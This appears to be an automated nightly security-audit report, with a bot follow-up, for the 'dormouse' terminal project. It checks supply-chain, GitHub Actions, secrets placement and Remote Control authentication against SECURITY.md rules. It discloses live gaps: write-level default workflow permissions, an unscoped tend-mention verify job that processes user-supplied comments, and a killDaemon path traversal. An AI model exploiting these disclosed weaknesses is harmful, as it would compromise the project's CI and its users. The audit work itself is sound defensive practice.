• INFO — Command construction is sound everywhere checked: dor-lib-common/src/spawn.ts's spawnAndCapture uses cross-spawn with an argv array (spawn(binary, args, {...}), no shell: true), and a repository-wide grep for execSync/child_process.exec(/shell: true across lib/, server/, standalone/, vscode-ext/, dor/, dor-lib-common/, canopy/ returned no hits outside test files.
• INFO — Tauri IPC (standalone/src-tauri/src/lib.rs): session-persistence commands (load_session/save_session/clear_session) key their filename on window.label(), sanitized through session_file_name() (line 754) to [A-Za-z0-9_-] only, with traversal defused and covered by an existing test. pty_spawn forwards webview-supplied cwd/shell/args to the sidecar unvalidated, but this is the terminal's core function (spawning a shell wherever asked) and the webview here is first-party app content, not remote or workspace-supplied content — consistent with the product's stated threat model (SECURITY.md's own framing: an authorized remote Client is deliberately equivalent to a person at the keyboard; the local webview is inside the trust boundary by design).
• INFO — VS Code webview boundary: IframePanel.tsx's handling of cross-origin content (the agent-browser/iframe proxy) validates e.origin === proxyOrigin before acting on any postMessage, and forwards only three narrow non-command fields into UI state — never into vscode.postMessage, so an embedded iframe cannot forge a pty:spawn or agentBrowser:* command. lib/src/lib/vscode-message-token.ts gates extension→webview messages with a per-boot random token, defeating spoofing from a same-window script.
• INFO — Persisted state read back from disk is schema-validated before use everywhere sampled: lib/src/lib/session-restore.ts runs shape guards (isPersistedSessionV3 etc.) and falls back to null/empty rather than trusting a malformed blob; local-json-store.ts's loadJson wraps JSON.parse in try/catch with an optional validator. Server-side, HostStore.list/PushSubscriptionStore.list (server/src/state.ts) drop malformed rows rather than propagate them, matching the documented "hand-editing is the revocation mechanism" design.
• INFO — Revocation-has-no-mechanism and no-audit-trail are accurately described as accepted gaps, not re-reported: confirmed HostAcl.revokeDevice/revokePasskey (server-lib-common/src/security/acl.ts:196-203) have no callers anywhere in non-test code.

Summary

All 27 mechanical FAIL IF checks in ## Remote Control verified PASS with
direct code evidence. The qualitative pass over Remote Control found no
BLOCKER or WARNING — the implementation matches its specs closely and every
adversarial question in the audit brief (webview/Server write access to the
ACL, credential exposure, challenge domain separation, untrusted-input
handling) resolves cleanly. One WARNING was found in the broader repository
sweep (agent-browser session-name path traversal in killDaemon), bounded in
practice by the terminal's own trust model but worth a small fix for
consistency with its sibling function.

Summary

Overall verdict: FAIL

The nightly audit fans out to three independent domains. Supply chain and
application security both passed their mechanical FAIL IF checks with no
BLOCKER-level qualitative findings. CI and secrets failed: the repository's
effective GitHub Actions default permissions are write with
can_approve_pull_request_reviews: true, which directly violates the
Automated Maintainer FAIL IF backstop in SECURITY.md, and this is not just
a theoretical misconfiguration — tend-mention.yaml's verify job declares
no permissions: block of its own (and there is no workflow-level default
either), so it inherits the over-broad repo-wide grant. That domain also
surfaced two issues in the audit pipeline's own machinery (secret redaction
doesn't cover the per-domain fragment files, and there's no mechanical
backstop for a missing-fragment PASS) plus a spec/code drift in SECURITY.md's
claim that fragments are uploaded with the transcript. None of the three
domains reported UNVERIFIABLE checks standing in for work that could have
been done.

• Supply chain: PASS — all 8 FAIL IF checks passed with evidence; only
  INFO-level qualitative notes (one dead allowBuilds entry).
• CI and secrets: FAIL — default_workflow_permissions/
  can_approve_pull_request_reviews misconfigured (BLOCKER) with a live
  downstream instance in tend-mention.yaml; plus two further FAIL IF
  violations in the audit's own redaction coverage and fragment-existence
  backstop.
• Application security: PASS — all 27 FAIL IF checks in ## Remote Control passed with evidence; one WARNING outside that scope (unsanitized
  session-name path construction in killDaemon(), bounded by the terminal's
  existing local-shell trust model).

[dormouse-bot]

Nightly sweep verified both FAILs in this run. Neither is local drift — I ran uvx tend@latest init in a clean worktree and the regenerated .github/workflows/tend-*.yaml are byte-identical to what's committed (tend is still 0.1.18).

One admin toggle clears both. default_workflow_permissions is write and can_approve_pull_request_reviews is true (Settings → Actions → General → Workflow permissions). Flipping it to read-only is the fix for the first FAIL, and it also clears the second: the audit's own allowed set admits any read scope, so verify's inherited default lands back inside it without the workflow changing at all. That's the whole remediation on this repo's side, and it needs admin — I can't do it.

The second finding is an upstream generator gap, and it's recurring. verify in tend-mention.yaml is the only job across all eight generated workflows with no permissions: block — its siblings relay and handle both declare one. I checked tend main today: generator/src/tend/templates/mention.yaml.j2 still declares permissions: on relay (line 106) and handle (172) and never on verify (122). Nothing in the job consumes the ambient token — the one step sets GITHUB_TOKEN: ${{ secrets.TEND_BOT_TOKEN }} explicitly — so there's no live exposure, but the over-scoped credential sits in the runner for the job's lifetime and would be silently inherited by any step added later. The identical finding was raised in #272 back in July; that issue was closed by the audit's own lifecycle without the template ever changing, which is why it's back.

@nedtwigg — may I file an issue at max-sixty/tend for the template gap? It's a one-line change (permissions: { contents: read } on the verify job in mention.yaml.j2), it affects every adopter whose repo default is write, and I have the evidence above ready to paste. I won't file cross-repo without your go-ahead.

Verification notes

• Regeneration: uvx tend@latest init in a worktree based on 4b5272b5; git status --porcelain .github/workflows .config empty, non-stamp diff count 0.
• Job/permissions inventory across .github/workflows/tend-*.yaml: tend-ci-fix (fix-ci), tend-nightly (nightly), tend-notifications (notifications), tend-review-runs (review-runs), tend-review (review), tend-triage (triage), tend-weekly (weekly) each declare one job with a permissions: block. tend-mention declares three: relay and handle have blocks, verify does not.
• Upstream template read via gh api repos/max-sixty/tend/contents/generator/src/tend/templates/mention.yaml.j2 on 2026-08-26.
• No open issue at max-sixty/tend matches this; searched permissions in:title,body type:issue.
• Rest of the nightly sweep: main CI and Chromatic are green at 4b5272b5; tend check passes every line; pat-scope-audit.sh reports STATUS=ok; no conflicted bot PRs; pnpm lint:specs clean (23 specs, 24 files).

[github-actions]

Audit failed at 2026-08-26T18:10Z. Run · Transcript

Security audit

Supply chain

Supply-Chain Audit — Dependency Supply Chain

Scope: ## Dependency Supply Chain section of SECURITY.md only.

FAIL IF results

1. node website/scripts/generate-deps.js changes the disclosed JSON files after a clean pnpm install --frozen-lockfile.
   PASS. Ran pnpm install --frozen-lockfile (workspace already up to date), then node website/scripts/generate-deps.js (wrote 48 npm deps, 13 direct + 474 transitive cargo deps, 1 bundled runtime). git status --short -- website/src/data/ was empty before and after — no diff produced. Tree left clean, nothing to revert.

2. .github/workflows/ci.yml runs the generator and fails on a diff.
   PASS. .github/workflows/ci.yml lines 24-46: pnpm install --frozen-lockfile then a "Dependency disclosure is current" step that runs node website/scripts/generate-deps.js, checks git diff --quiet -- website/src/data/, and on a diff prints ::error:: + git --no-pager diff + exit 1. This is a required step in the build-and-test job (no continue-on-error), gating merge.

3. productDependencyFilters omits a workspace package whose files land on a user's disk (derived from pnpm-workspace.yaml, not the doc's enumeration).
   PASS. pnpm-workspace.yaml lists 10 packages: canopy, dor, dor-lib-common, lib, server, server-lib-common, standalone, standalone/sidecar, vscode-ext, website. Their package.json name fields resolve to: canopy, dor, dor-lib-common, dormouse-lib, server, server-lib-common, dormouse-standalone, dormouse-sidecar, dormouse (vscode-ext), dormouse-website (website).
   productDependencyFilters in website/scripts/generate-deps.js (lines 22-28) = ["dor", "dormouse", "dormouse-standalone", "dormouse-lib", "dormouse-sidecar", "server"] — 6 entries, covering dor, vscode-ext, standalone, lib, standalone/sidecar, server directly.
   Remaining two — server-lib-common and dor-lib-common — are workspace edges verified by reading each root's package.json dependencies: dor depends on dor-lib-common; lib (dormouse-lib) depends on both dor-lib-common and server-lib-common; server depends on server-lib-common. Both are reached.
   Remaining two — canopy and website — are the doc's stated exclusions. Verified no root or edge package depends on either (grep over every package.json for "canopy" found only canopy/package.json itself; nothing depends on dormouse-website). All 10 workspace packages accounted for; none orphaned.
   Minor note (not a FAIL IF violation, filed as INFO below): SECURITY.md's own prose paragraph (the sentence right above the FAIL IF list) describes only 5 packages as "roots" and calls dormouse-lib an "edge," while the FAIL IF bullet says "six named above" and the code's filter array literally includes dormouse-lib as a seventh... sixth entry. The FAIL IF's count (6) matches the code; the earlier sentence's enumeration (5) doesn't rename the same set consistently. No functional gap — dormouse-lib's deps are covered either way (explicit filter and edge from standalone/website) — but the prose reads as slightly stale against its own FAIL IF.

4. Root package.json has devEngines.runtime.version as an exact MAJOR.MINOR.PATCH.
   PASS. devEngines.runtime.version = "24.18.0" (exact three-part version), devEngines.runtime.onFail = "download". No volta.node, no top-level engines.node.

5. standalone/src-tauri/build.rs verifies the bundled Node binary against the pin, not skipped for any release-matrix config.
   PASS. read_pinned_node_version (lines 149-189) reads devEngines.runtime.version from root package.json and rejects a non-exact version. verify_node_version (lines 191-227) runs node --version on the binary about to be bundled and fails the build on mismatch. The only skip is if host != target (line 197), which prints a cargo:warning and returns Ok rather than verifying — matching the documented "cannot execute a foreign-arch binary" exception.
   Checked release.yml's build-standalone matrix (lines 26-37): ubuntu-22.04 → x86_64-unknown-linux-gnu, macos-latest → aarch64-apple-darwin, windows-latest → x86_64-pc-windows-msvc. All three are host-native for their respective GitHub-hosted runners (ubuntu-22.04 is x86_64; macos-latest is Apple Silicon/arm64; windows-latest is x86_64) — no cross-compiled entry, so the version check always executes for every shipped build today.

6. build-standalone installs the pinned runtime via node-version-file: package.json, and root package.json has no volta.node/engines.node.
   PASS. release.yml line 46-48: actions/setup-node with node-version-file: package.json. Confirmed (bullet 4) that root package.json has neither volta.node nor engines.node, so setup-node's precedence resolves to devEngines.runtime.

7. pnpm-workspace.yaml has minimumReleaseAge: 1440.
   PASS. Present verbatim: minimumReleaseAge: 1440 (top-level key in pnpm-workspace.yaml).

8. .github/renovate.json has npm/cargo in enabledManagers, plus minimumReleaseAge package rules for those managers.
   PASS. enabledManagers: ["github-actions", "npm", "cargo"]. Three packageRules entries scope matchManagers: ["npm", "cargo"] with matchUpdateTypes patch/minor/major and minimumReleaseAge "1 day"/"3 days"/"14 days" respectively (all stricter than or consistent with the pnpm 1440-minute/24h cooldown).

Qualitative findings

• INFO — SECURITY.md's "Dependency Supply Chain" section has a small internal inconsistency between narrative prose and its own FAIL IF: the paragraph above the FAIL IF list names only 5 packages as "roots" (dormouse-standalone, dormouse, dormouse-sidecar, dor, server) and describes dormouse-lib as reached purely "as a workspace edge," but the code's productDependencyFilters array literally lists dormouse-lib as a sixth explicit filter entry, and the FAIL IF bullet itself says "the six named above." No security or disclosure gap — dormouse-lib's dependency subtree is included in the generated snapshot regardless of whether it's counted as a root or reached via edge from standalone/website — but worth a docs touch-up so the prose and the FAIL IF agree on the count.
• INFO — No newly added production dependency since the last audit carries an undisclosed install/postinstall/preinstall script. Checked every package in the 48-entry dependencies-npm.json that plausibly needs native compilation (node-pty, node-addon-api, the @tauri-apps/* triad, ws, hono, web-push, cross-spawn, which, minimist, debug) against the real installed node_modules/.pnpm/*/package.json. Only node-pty declares install/postinstall scripts (native PTY build), and it is already explicitly allowlisted true in pnpm-workspace.yaml's allowBuilds. All other checked packages declare no install-time scripts.
• INFO — Exactly one non-registry lockfile resolution exists: @diffplug/xterm-addon-webgl-sdf resolves to a GitHub Releases tarball URL (https://github.com/diffplug/xterm.js/releases/download/sdf-v0.20.0-sdf301.1/...) rather than the npm registry. Verified this dependency appears in exactly one package.json in the repo — canopy/package.json — and canopy is the doc's own explicitly-excluded, Storybook-only package (confirmed via grep that no non-canopy source file or non-canopy package.json references it). This matches docs/specs/webgl-text.md's described fork-tarball distribution and does not reach the disclosed product graph.
• INFO — No git-sourced Cargo dependencies: grep '^source = "git' standalone/src-tauri/Cargo.lock returned zero matches: every Rust dependency resolves from crates.io.
• INFO — Recent runtime-dependency churn (via git log on pnpm-lock.yaml/package.json after un-shallowing the repo, which was fetched as depth-1) includes hono → 4.13.3, @hono/node-server → 2.1.1, node-pty → 1.2.0-beta.15, and an xterm coherent-set bump — all server/runtime-facing packages within the disclosed root set. Each is already reflected correctly in the current (diff-free) dependencies-npm.json, so no undisclosed bump is outstanding.
• INFO — No reference to agent-browser (the externally user-installed CLI dor ab forwards to) in any package.json in the repo — consistent with SECURITY.md's claim that external binaries are outside the dependency graph by construction and nothing here pulls it in silently.
• No BLOCKER or WARNING findings in this domain.

Verdict

PASS

CI and secrets

FAIL IF results

## GitHub Actions Policies

• pull_request_target appears in any .github/workflows/** file other than tend-*.yaml: PASS. grep -rn "pull_request_target" .github/workflows/ returns only .github/workflows/tend-review.yaml:11.
• Non-agent-managed workflow has effective write permissions beyond id-token: write / attestations: write / the security-audit job's actions: write: PASS. ci.yml, chromatic.yml, and release.yml each declare a top-level permissions: block (contents: read), which GitHub applies to every job in that file unless the job declares its own — so publish-vscode in release.yml (no job-level permissions: key) inherits contents: read from the workflow-level block, not the repository default. build-standalone/build-vscode add only id-token: write + attestations: write (bound to the admin-gated release-attest environment); the security-audit job in release.yml adds only actions: write as named in SECURITY.md. No other write scope appears in any non-agent-managed workflow.

## Automated Maintainer (tend)

• workflow-audit.yaml derives its lower bound from anything pusher-controlled: PASS. SINCE=$(gh api ".../actions/workflows/workflow-audit.yaml/runs?status=success&per_page=1" --jq '.workflow_runs[0].created_at // ""') (workflow-audit.yaml line 79-81) — a server-set field, with a date -u -d '25 hours ago' fallback (not pusher-controlled either). The git log --since filter that consumes it is the known, documented committer-date evasion, unchanged from spec.
• Admin-gating rulesets: PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/rulesets/16757376 (Merge access) → target: branch, conditions.ref_name.include: ["~DEFAULT_BRANCH"], rules: [{"type":"update"}], bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}]. .../rulesets/16757382 (Tag operations) → target: tag, include: ["~ALL"], rules: [{"type":"creation"},{"type":"update"}], same sole bypass actor (role id 5 = admin). Both match spec exactly.
• dormouse-bot holds maintain/admin: PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/collaborators/dormouse-bot/permission → "permission":"write", "role_name":"write". Neither maintain nor admin.
• Environment deployment-branch-policies admit an un-gated ref: PASS, all four checked directly:
  • vscode-extension-publish: branch policy [{"name":"v*","type":"tag"}] (admin-gated by Tag operations).
  • security-audit: [{"name":"main","type":"branch"},{"name":"v*","type":"tag"}] (both admin-gated).
  • release-attest: [{"name":"v*","type":"tag"}].
  • tend: [{"name":"main","type":"branch"}].
    All match SECURITY.md's enumeration exactly (gh api repos/diffplug/dormouse/environments/{name}/deployment-branch-policies).
• Secret inventory placement: PASS for every named secret. gh api repos/diffplug/dormouse/actions/secrets (repo level, $AUDIT_PAT) → only CHROMATIC_PROJECT_TOKEN (the accepted exposure). .../actions/organization-secrets → total_count:0. Per-environment: security-audit → AUDIT_PAT, CLAUDE_CODE_OAUTH_TOKEN; tend → CLAUDE_CODE_OAUTH_TOKEN, TEND_BOT_TOKEN; vscode-extension-publish → OVSX_PAT, VSCE_PAT; release-attest → total_count:0. ANTHROPIC_API_KEY absent from repo, org, and every environment listing. All match SECURITY.md's table line for line.
• CHROMATIC_PROJECT_TOKEN in .config/tend.yaml secrets.allowed: PASS. File reads: secrets:\n allowed:\n - CHROMATIC_PROJECT_TOKEN.
• workflow-audit.yaml missing/disabled/no successful run in 48h: PASS. state: "active"; most recent successful run 2026-08-26T07:55:07Z, current time (checked) 2026-08-26T18:06:43Z — ~10.2h old, well inside the 48h/45.5h margin discussed in SECURITY.md.
• Unpinned action reference in any tend-*.yaml: PASS. Every uses: line across all eight tend-*.yaml files is actions/checkout@v7 or max-sixty/tend/claude@0.1.18 — explicit tag pins, none @main or bare.
• Agent-managed workflow job with effective GITHUB_TOKEN permissions beyond the allowed set: FAIL. tend-mention.yaml has no top-level permissions: key at all (goes directly from on: to jobs:), and its verify job (lines 92–115) declares no job-level permissions: block either — unlike its sibling jobs relay (contents: write) and handle (contents: write, pull-requests: write, actions: read, issues: write), both of which do declare one. With no permissions block anywhere in the file, verify's ambient GITHUB_TOKEN is minted at the repository default, which this audit found to be write (permissive — see below), granting write across scopes (checks, deployments, discussions, pages, packages, repository-projects, security-events, statuses, etc.) well beyond the allowed contents/pull-requests/issues: write + id-token: write + actions: read/read-only set. The job's own steps authenticate gh api calls with secrets.TEND_BOT_TOKEN rather than the ambient token, but the FAIL IF is about effective GITHUB_TOKEN permissions, not about which credential a given step happens to use — any step or action in that job that falls back to the default token (e.g. an unconfigured actions/checkout) would carry the over-broad grant.
• default_workflow_permissions not read, or can_approve_pull_request_reviews not false: FAIL. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/permissions/workflow → {"default_workflow_permissions":"write","can_approve_pull_request_reviews":true}. Both clauses violated. This is the direct root cause of the tend-mention.yaml finding above — SECURITY.md itself calls this setting "the backstop for every permission bullet in this document."

## VS Code Extension Releases

• release.yml missing vscode-extension-publish environment on the publish job, or VSCE_PAT/OVSX_PAT referenced outside a job bound to it: PASS. publish-vscode job declares environment: {name: vscode-extension-publish} (release.yml:306-307). Repo-wide grep (grep -rn "VSCE_PAT\|OVSX_PAT" .github/workflows/) finds both secrets used only at release.yml:336 and :348, inside that same job.

## Desktop Releases

• sign-and-deploy.sh stops verifying attestations, verifying SHA-256 manifests, or using PIV-backed Windows signing: PASS. verify_downloaded_artifact() runs gh attestation verify "$manifest" --repo ... --cert-identity ... --cert-oidc-issuer ... (lines 392-399) and check_sha256_manifest runs sha256sum -c/shasum -a 256 -c (lines 359-370); sign_windows() calls jsign --storetype PIV --storepass "$EV_SIGN_PIN" ... (lines 683-717).

## Reporting a Vulnerability

• Private vulnerability reporting disabled: PASS. GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/private-vulnerability-reporting → {"enabled":true}.

## CI Validation Contract

• security-audit.yaml missing/disabled, or missing the dispatch / gh run watch --exit-status / publish-vscode needs: edge: PASS. Workflow state: "active". release.yml's security-audit job runs gh workflow run "$workflow" ... then gh run watch "$run_id" ... --exit-status (release.yml:271, 297); publish-vscode lists needs: [build-standalone, build-vscode, security-audit] (release.yml:301-304).
• Audit stops fanning out to a dedicated application-security subagent scoped to Remote Control, or that scope merges with another domain: PASS. .github/audit/application-security.md scope is exactly ## Remote Control; orchestrator.md §1 spawns three subagents with .github/audit/{supply-chain,ci-and-secrets,application-security}.md respectively, each with its own output file.
• Orchestrator prompt stops requiring a non-turn-ending wait with a persisted deadline: PASS. orchestrator.md §2 gives the exact DEADLINE_FILE="$RUNNER_TEMP/audit-deadline" / until loop, explicitly instructs re-issuing it verbatim (not ending the turn), and the job's timeout-minutes: 40 in security-audit.yaml exceeds the 25-minute deadline as required.
• .github/audit/ missing a named prompt file, or scripts/security-audit-local.sh not running from the same files: PASS. All five files present (_preamble.md, orchestrator.md, supply-chain.md, ci-and-secrets.md, application-security.md); security-audit-local.sh sets AUDIT_DIR=.github/audit, checks all five exist, and its run_domain() invokes claude -p "$(cat "$AUDIT_DIR/_preamble.md"; echo; cat "$AUDIT_DIR/$domain.md")" — same files, same content.
• .github/audit/ outside workflow-audit.yaml's diff window: PASS. workflow-audit.yaml line 108: git log --all --since="$SINCE" ... -- .github/workflows/ .config/tend.yaml .github/audit/.
• A ## section of SECURITY.md owned by no domain or by two: PASS. Grep of all ## headings in SECURITY.md (8 total) against the three domain files' `## ...` scope lines: Remote Control → application-security.md only; Dependency Supply Chain → supply-chain.md only; the other 6 (GitHub Actions Policies, Automated Maintainer (tend), VS Code Extension Releases, Desktop Releases, Reporting a Vulnerability, CI Validation Contract) → ci-and-secrets.md only. No orphans, no duplicates.
• Union of subagents' qualitative scopes doesn't cover every top-level path: PASS with a WARNING — see qualitative findings below (.vscode/ and .impeccable/ are not individually named anywhere).
• Redact secrets from agent output step removed, stops covering a later-published sink, or stops failing closed: PASS. security-audit.yaml lines 179-224: covers $TRANSCRIPT, audit-report.md, and $AUDIT_FRAGMENTS (the three per-domain fragments); on any error the || clause runs rm -f "$TRANSCRIPT" audit-report.md $AUDIT_FRAGMENTS; exit 1, i.e. deletes every sink rather than shipping a partially-redacted one.
• Orchestrator can report PASS while a subagent left no report fragment: PASS. security-audit.yaml's "Surface result" step (lines 293-303) loops $AUDIT_FRAGMENTS and downgrades STATUS from PASS to MISSING if any fragment is empty/absent, independent of what the orchestrator itself wrote.
• Audit weakened in any other way (judgement item): see qualitative findings.

Qualitative findings

• BLOCKER — default_workflow_permissions is write and can_approve_pull_request_reviews is true. Direct, unambiguous violation of the explicit FAIL IF in "Automated Maintainer (tend)". SECURITY.md is emphatic that this setting is the backstop for every other permission bullet in the document ("with the default at write, one regenerated workflow that omits a permissions: block silently reopens what those bullets close, and the repository setting is the only place to fix it durably — a YAML edit does not survive the nightly regen"). This is not theoretical: see the next finding, which is the concrete instance this setting was written to prevent.

• BLOCKER — tend-mention.yaml's verify job runs with no declared permissions at all, so its ambient GITHUB_TOKEN inherits the current permissive repo default instead of a scoped grant. The workflow has no top-level permissions: key, and unlike its sibling jobs (relay, handle), verify has no job-level one either. This is a live gap in the "effective, not declared" contract the audit itself is supposed to enforce: the job's own gh api calls happen to use secrets.TEND_BOT_TOKEN rather than the ambient token, which limits (but does not eliminate) the practical blast radius today — any step that falls back to the default GITHUB_TOKEN (an unconfigured actions/checkout, an action that doesn't take an explicit token input) would run with the permissive-write grant in a job that processes attacker-influenceable content (issue/comment/review bodies, per the "Prompt-injection through user-supplied content" section). Fixing default_workflow_permissions to read closes this at the root without touching the generated file (which would be overwritten by the next tend regeneration anyway).

• WARNING — .vscode/ and .impeccable/ are not individually named in any domain's qualitative scope. SECURITY.md's own top-level-path enumeration assigns application-security "lib/, server/, server-lib-common/, standalone/, vscode-ext/, dor/, dor-lib-common/, canopy/, deploy/, docs/, and the repository root files" — a phrase broad enough to plausibly cover these two top-level directories (editor workspace settings and a design-lint config respectively, neither one touching a secret or a build/release path), but it is genuinely ambiguous whether "root files" was meant to include dotfile directories. This is exactly the class of gap SECURITY.md's own text warns about ("the first version of this split silently orphaned canopy/, .claude/ ..."). Content-wise I reviewed both (.vscode/launch.json, .vscode/tasks.json, .impeccable/design.json) and found nothing security-relevant — no secrets, no exec paths, no CI wiring — so this is a documentation-clarity gap, not a live exposure. Recommend naming them explicitly (most naturally folded into application-security's "root files" catch-all, or their own bullet) to close the ambiguity the way .claude/ was already closed for ci-and-secrets.

• INFO — .claude/settings.json, .claude/skills/, website/public/*, and every scripts/*.sh/*.mjs file were read in full. Nothing exposes a secret, widens an allowlisted Bash permission dangerously, or diverges from what the corresponding SECURITY.md section describes. website/public/standalone-latest.json (the Tauri updater manifest) contains only public URLs and base64 Tauri signatures — no secret material, consistent with it being a release artifact rather than a credential.

• No other deviation found from the qualitative-pass questions (weakened FAIL IF, missing qualitative-pass instruction, removed failure-reporting step, removed/bypassed AUDIT_PAT pre-check) — security-audit.yaml's "Verify AUDIT_PAT is provisioned" step (lines 69-77) still hard-fails the job with no AUDIT_PAT, and the "Surface result, file or close issue" step still opens/updates security-audit-failure and exit 1s on any non-PASS.

Application security

Application Security Audit — Remote Control

Scope: ## Remote Control section of SECURITY.md only. No GitHub API access and no AUDIT_PAT were used (none needed for this domain).

FAIL IF results

Trust boundary (SECURITY.md lines 24-29)

• PASS — authorizeConnection in server-lib-common/src/security/connection.ts:96-163 verifies the passkey assertion (verifyPasskeyAssertion), the device-key signature (verifyDeviceChallengeSignature), and the ACL (host.acl.authorize) against the Host's own ConnectionPolicy — every layer evaluated unconditionally (no short-circuit), failures accumulated into one list, allowed = failures.length === 0. No Server-supplied claim substitutes for any of the three; the challenge is consumed up front and the policy is spread before the challenge field so nothing can override freshness binding.
• PASS — HostAcl.approve (server-lib-common/src/security/acl.ts:124-136) has exactly one production caller: PairingCeremony.approve (server-lib-common/src/security/pairing.ts:232-243), confirmed by repo-wide grep — all other .approve( call sites are test files (server-lib-common/test/acl.test.mjs, lib/src/remote/host/acl.test.ts). Matching is against the immutable pairingId: PairingCeremony.approve(pairingId, ...) looks up the ticket by pairingId via #requirePending, and the two production callers of the ceremony (lib/src/remote/host/remote-host.ts:367-388 #approvePairing, lib/src/host/remote/service.ts:258-275 #approve/#pendingPairing) both re-check state.pending.pairingId === pairingId before invoking it — never matched on clientId alone.
• PASS — isPairingRequest (server-lib-common/src/security/pairing.ts:108-118) runs on the Host in lib/src/remote/host/remote-host.ts:339 before PairingCeremony.begin is ever called, independent of the Server's copy in server/src/handshake.ts:129. requestedLabel (and accountId) are reduced with boundedPairingAccount/boundedPairingLabel at remote-host.ts:348-352 before the request is placed into the ticket, so every downstream consumer (queue projection, modal, persisted record) sees the bounded value.
• PASS — Read lib/src/host/remote/service-protocol.ts in full. RemoteHostResult (rhId, result?, error?), HostStatusEvent (name, enrolled), PairingQueueEvent/PairingQueueItem (clientId, pairingId, request: PairingRequest, requestedAt), and RemoteHostConsoleStatus (enrolled, serverUrl, hostId, connection, pairedClients) — none carries hostToken. Inbound EnrollParams carries password (setup password, by design) and AdoptParams.enrollment: unknown structurally carries hostToken (by design, one-shot migration hand-off).
• PASS — #adopt in lib/src/host/remote/service.ts:315-348 is bounded on all three: !existing (the store's own loadEnrollment() must return null) gates the whole branch; this.#allowed(enrollment.serverUrl) (→ originAllowedByConnectSrc) gates the serverUrl; and filterAclRecords(enrollment.hostId, params.aclRecords ?? []) (lib/src/remote/host/acl.ts:34-41) requires both isHostAclRecord shape-guard and record.hostId === hostId per record before any record is kept.
• PASS — server-lib-common/src/security/ is the sole implementation imported by all three parties: Server (server/src/handshake.ts, server/src/app.ts, server/src/state.ts all import from server-lib-common), Host (lib/src/remote/host/*.ts, lib/src/host/remote/*.ts), and Pocket client (lib/src/remote/client/device-key.ts, webauthn.ts, pocket-client.ts, remote-adapter.ts, push-subscribe.ts all import from server-lib-common).

Where a Host may reach a relay server (lines 37-40)

• PASS — DEFAULT_REMOTE_CONNECT_SRC is exactly 'https://*.dormouse.sh wss://*.dormouse.sh' in both scripts/csp-defaults.mjs:18 and lib/src/host/remote/connect-src.ts:22; CONNECT_SRC_SOURCE_PATTERN is the identical regex literal /^((?:https?|wss?):)\/\/([^/:]+)(?::(\*|\d+))?$/i in both files (csp-defaults.mjs:26, connect-src.ts:73).
• PASS — assertConnectSrcBaked is called by both standalone/scripts/build-sidecar-proxy.mjs:48 and vscode-ext/scripts/esbuild.mjs:63,67 — including the watch branch (esbuild.mjs:53-64: ctx.rebuild() then assertConnectSrcBaked before ctx.watch()). resolveRemoteConnectSrc (csp-defaults.mjs:48-62) throws on any override source that fails isSupportedSource (mirrors CONNECT_SRC_SOURCE_PATTERN), rejecting an unparseable override at build time rather than shipping a binary that silently matches nothing.
• PASS — originAllowedByConnectSrc gates #enroll (lib/src/host/remote/service.ts:188), Host start-up #start (service.ts:119), and #adopt (service.ts:328) — all three route through the shared #allowed() helper (service.ts:352-358). originAllowedByConnectSrc itself (connect-src.ts:118-140) fails closed: an unparseable origin (new URL throws) returns false, and an unparseable source from parseSource returns null/is skipped (continue), never treated as a match.
• PASS — lib/src/remote/host/enrollment.ts:92 and lib/src/remote/host/push-delivery.ts:80 both set redirect: 'error' on their fetches, with comments explaining the Node-process rationale (no browser CSP re-check per hop).

Credentials at rest (lines 55-60)

• PASS — server/src/state.ts: JsonFileStore.writeAtomic (lines 92-97) creates mkdir(stateDir, { mode: 0o700 }) and writes the temp file with mode: 0o600 before an atomic rename. A negative grep over server/src/ for writeFile/appendFile/createWriteStream outside state.ts returned zero matches — no other write path targets the state directory.
• PASS — FileHostStateStore (lib/src/host/remote/host-state-store.ts): #write (lines 176-202) does mkdir(dir, { mode: 0o700 }), best-effort chmod(dir, 0o700) on non-Windows, and writeFile(tmp, ..., { mode: 0o600 }) then atomic rename. VsCodeHostStateStore (vscode-ext/src/remote-host-store.ts:84-86) writes the enrollment via context.secrets.store(ENROLLMENT_KEY, ...) — VS Code SecretStorage — confirmed by reading saveEnrollment.
• PASS — deploy/local/install-macos.sh:434-444: generates 32 bytes via xxd -p -l 32 -c 32 /dev/urandom (or openssl rand -hex 32 fallback) and guards [ ${#SETUP_PASSWORD} -ge 64 ] — 64 hex characters, not 32, matching the comment's explicit warning against a length-32 regression.
• PASS — install-macos.sh:446-463: umask 077 set before cat > "$ENV_FILE", followed by explicit chmod 0600 "$ENV_FILE"; mkdir -p "$CONFIG_DIR" "$STATE_DIR" then chmod 0700 "$CONFIG_DIR" "$STATE_DIR" at line 367.
• PASS — On re-run, the existing config/server.env is left untouched (only re-chmod 0600'd, lines 465-468) — content is never rewritten. The setup password is printed only inside cmd_show_password (lines 810-823), gated on an interactive confirmation.
• PASS — manage verify's cmd_verify (lines 669-673) fails with "plist contains the setup password — it must live only in config/server.env" if grep -q "DORMOUSE_SETUP_PASSWORD" "$PLIST" matches; the generated write_plist (lines 1013-1048) never writes the password into the plist (only run-server's path, which reads config/server.env at runtime).

The setup password — accepted risk (lines 68-69)

• PASS — server/src/app.ts:230-249: expectedPasswordHash = sha256(config.setupPassword) precomputed once; passwordOk uses timingSafeEqual(sha256(provided), expectedPasswordHash) (fixed-length digests, so no length-branch); readPasswordGated awaits delay(PASSWORD_FAILURE_DELAY_MS) (250ms, line 149) before returning 401 on any failure, applied uniformly to the three password-gated routes.
• PASS — CORS is applied only to app.use('/api/*', cors({ origin: '*', ... })) (app.ts:260) — not global. Grep for cookie/Cookie across server/src/*.ts found no matches outside a comment explaining why none exist; auth is bearer-token/body-field based (SessionStore, requireSession, requireHost), consistent with the "no cookies to ride on" argument.

Network posture (lines 77-80)

• PASS — install-macos.sh:473-474 hard-fails unless grep -q '^DORMOUSE_BIND_HOST=127\.0\.0\.1$' "$ENV_FILE". manage verify (cmd_verify, lines 701-711) probes the node's Tailscale IPv4 address and fails if /api/hello answers there — "plaintext port $PORT is reachable on the Tailscale IP $tsip" — falling back to a skip note only when no Tailscale IPv4 is available.
